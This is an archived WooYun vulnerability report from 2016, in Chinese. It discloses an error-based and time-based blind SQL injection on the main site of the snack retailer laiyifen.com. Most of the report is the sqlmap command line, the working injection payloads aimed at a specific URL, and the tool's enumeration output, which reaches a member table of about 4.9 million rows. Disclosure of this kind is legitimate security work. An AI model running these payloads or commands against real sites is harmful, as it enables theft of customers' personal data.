当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0182528

漏洞标题:来伊份主站报错SQL注入(涉及491万用户数据包括\身份证\电话\地址)

相关厂商:laiyifen.com

漏洞作者: sauce

提交时间:2016-03-09 14:01

修复时间:2016-04-24 11:39

公开时间:2016-04-24 11:39

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-09: 细节已通知厂商并且等待厂商处理中
2016-03-10: 厂商已经确认,细节仅向厂商公开
2016-03-20: 细节向核心白帽子及相关领域专家公开
2016-03-30: 细节向普通白帽子公开
2016-04-09: 细节向实习白帽子公开
2016-04-24: 细节向公众公开

简要描述:

rt 看见昨天有个来伊份注入上了走了大厂商
我也挖一个
就在主站 求首页

详细说明:

python sqlmap.py -u "http://www.laiyifen.com/index.php/article*-zhifufangshi*_huodaofukuan*-lists*-11**.html" --dbs


Parameter: #5* (URI)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: http://www.laiyifen.com:80/index.php/article-zhifufangshi_huodaofukuan-lists-11" AND (SELECT 3099 FROM(SELECT COUNT(*),CONCAT(0x7178767071,(SELECT (ELT(3099=3099,1))),0x71706b6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND "KCUu"="KCUu.html
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: http://www.laiyifen.com:80/index.php/article-zhifufangshi_huodaofukuan-lists-11" AND SLEEP(5) AND "vpCf"="vpCf.html
---
[13:01:06] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.6
back-end DBMS: MySQL 5.0
[13:01:06] [INFO] fetching database names
[13:01:07] [INFO] the SQL query used returns 3 entries
[13:01:08] [INFO] retrieved: information_schema
[13:01:09] [INFO] retrieved: laiyifendb
[13:01:09] [INFO] retrieved: test
available databases [3]:
[*] information_schema
[*] laiyifendb
[*] test


[13:04:12] [INFO] the back-end DBMS is MySQL
[13:04:12] [INFO] fetching banner
[13:04:12] [INFO] resumed: 5.1.59 - ShopEX-MySQL-log
web application technology: Nginx, PHP 5.3.6
back-end DBMS: MySQL 5.0
banner: '5.1.59 - ShopEX-MySQL-log'
[13:04:12] [INFO] fetching current user
[13:04:12] [INFO] resumed: laiyifendb@10.%.%.%
current user: 'laiyifendb@10.%.%.%'
[13:04:12] [INFO] fetching current database
[13:04:12] [INFO] resumed: laiyifendb
current database: 'laiyifendb'
[13:04:12] [INFO] fetching server hostname
[13:04:12] [INFO] resumed: db1
hostname: 'db1'
[13:04:12] [INFO] testing if current user is DBA
[13:04:12] [INFO] fetching current user
current user is DBA: False
[13:04:13] [INFO] fetching database users
[13:04:13] [INFO] the SQL query used returns 1 entries
[13:04:13] [INFO] resumed: 'laiyifendb'@'10.%.%.%'
database management system users [1]:
[*] 'laiyifendb'@'10.%.%.%'
[20:17:05] [INFO] fetching entries for table 'sdb_b2c_members' in database 'laiyifendb' [20:17:08] [INFO] the SQL query used returns 4912874 entries

漏洞证明:

python sqlmap.py -u "http://www.laiyifen.com/index.php/article*-zhifufangshi*_huodaofukuan*-lists*-11**.html" --dbs


Parameter: #5* (URI)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: http://www.laiyifen.com:80/index.php/article-zhifufangshi_huodaofukuan-lists-11" AND (SELECT 3099 FROM(SELECT COUNT(*),CONCAT(0x7178767071,(SELECT (ELT(3099=3099,1))),0x71706b6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND "KCUu"="KCUu.html
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: http://www.laiyifen.com:80/index.php/article-zhifufangshi_huodaofukuan-lists-11" AND SLEEP(5) AND "vpCf"="vpCf.html
---
[13:01:06] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.6
back-end DBMS: MySQL 5.0
[13:01:06] [INFO] fetching database names
[13:01:07] [INFO] the SQL query used returns 3 entries
[13:01:08] [INFO] retrieved: information_schema
[13:01:09] [INFO] retrieved: laiyifendb
[13:01:09] [INFO] retrieved: test
available databases [3]:
[*] information_schema
[*] laiyifendb
[*] test


[13:04:12] [INFO] the back-end DBMS is MySQL
[13:04:12] [INFO] fetching banner
[13:04:12] [INFO] resumed: 5.1.59 - ShopEX-MySQL-log
web application technology: Nginx, PHP 5.3.6
back-end DBMS: MySQL 5.0
banner: '5.1.59 - ShopEX-MySQL-log'
[13:04:12] [INFO] fetching current user
[13:04:12] [INFO] resumed: laiyifendb@10.%.%.%
current user: 'laiyifendb@10.%.%.%'
[13:04:12] [INFO] fetching current database
[13:04:12] [INFO] resumed: laiyifendb
current database: 'laiyifendb'
[13:04:12] [INFO] fetching server hostname
[13:04:12] [INFO] resumed: db1
hostname: 'db1'
[13:04:12] [INFO] testing if current user is DBA
[13:04:12] [INFO] fetching current user
current user is DBA: False
[13:04:13] [INFO] fetching database users
[13:04:13] [INFO] the SQL query used returns 1 entries
[13:04:13] [INFO] resumed: 'laiyifendb'@'10.%.%.%'
database management system users [1]:
[*] 'laiyifendb'@'10.%.%.%'
[20:17:05] [INFO] fetching entries for table 'sdb_b2c_members' in database 'laiyifendb' [20:17:08] [INFO] the SQL query used returns 4912874 entries

修复方案:

过滤

版权声明:转载请注明来源 sauce@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-03-10 11:39

厂商回复:

非常感谢您的支持,我们一同努力做好!

最新状态:

暂无


漏洞评价:

评价

  1. 2016-03-09 14:23 | sauce ( 普通白帽子 | Rank:214 漏洞数:35 | test)

    。。走个大厂商怎么那么难 昨天的注入都走了大厂商 我这个主站的注入只走小厂商

  2. 2016-03-10 11:55 | sauce ( 普通白帽子 | Rank:214 漏洞数:35 | test)

    来一份吧 送点吃的多好

  3. 2016-03-10 13:05 | 方大核桃 ( 实习白帽子 | Rank:97 漏洞数:19 | 山东某高校学生 | 神气扫描器打造中 https:...)

    来一份主站报错SQL注入